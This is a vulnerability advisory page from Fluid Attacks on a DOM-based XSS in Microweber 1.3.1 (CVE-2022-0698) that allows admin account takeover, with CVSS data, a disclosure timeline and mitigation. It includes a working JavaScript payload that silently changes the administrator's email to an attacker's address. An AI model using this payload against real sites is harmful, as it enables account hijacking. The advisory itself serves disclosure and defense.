Microweber 1.3.1 - DOM XSS to Account Takeover

8.8

High

Discovered by 

Carlos Bello

Offensive Team, Fluid Attacks

Summary

Full name

Microweber 1.3.1 - DOM XSS to Account Takeover

Code name

State

Public

Release date

Nov 29, 2022

Affected product

Microweber

Affected version(s)

Version 1.3.1

Vulnerability name

DOM-Based cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v3.1 vector string

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CVSS v3.1 base score

8.8

Exploit available

Yes

CVE ID(s)

Description

Microweber version 1.3.1 allows an unauthenticated user to perform an account takeover via an XSS on the 'select-file' parameter. The following is an example of a vulnerable URL:

Vulnerability

The XSS present in Microweber 1.3.1 allows an unauthenticated remote attacker to perform an Account Takeover. To trigger this vulnerability, we will need to send the following malicious link to an administrator in order to hack their account. The following is an example of a malicious URL:

In the PAYLOAD field we will put the following malicious JS code:

fetch('http://example.com/api/user/1',{
    method:'POST',
    credentials:'include',
    headers:{
        'Content-type':'application/x-www-form-urlencoded;charset%3dUTF-8'
    },
    body:'id%3d1%26_method%3dPATCH%26username%3dadmin%26email%3dattacker%40fluidattacks.com%26phone%3d\r\n'
})

Exploitation

To exploit this vulnerability, a malicious URL must be sent to the administrator of the Microweber instance. Once the administrator enters the link, we will change the email address associated with their account to one that is under our control.

Our security policy

We have reserved the CVE-2022-0698 to refer to this issue from now on. Disclosure policy

System Information

  • Version: Microweber 1.3.1

  • Operating System: GNU/Linux

  • Web Server: Apache

  • PHP Version: 8.1.9

  • Database and version: MySQL

Mitigation

An updated version of Microweber is available at the vendor page.

References

Timeline

Vulnerability discovered

Sep 5, 2022

Vendor Confirmed Vuln.

Sep 19, 2022

Vendor contacted

Sep 5, 2022

Vendor replied

Sep 19, 2022

Public disclosure

Nov 28, 2022

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Start your 21-day free trial

Discover the benefits of our Continuous Hacking solution, which organizations of all sizes are already enjoying.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

SOC 2 Type II

SOC 3

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

© 2025 Fluid Attacks. We hack your software.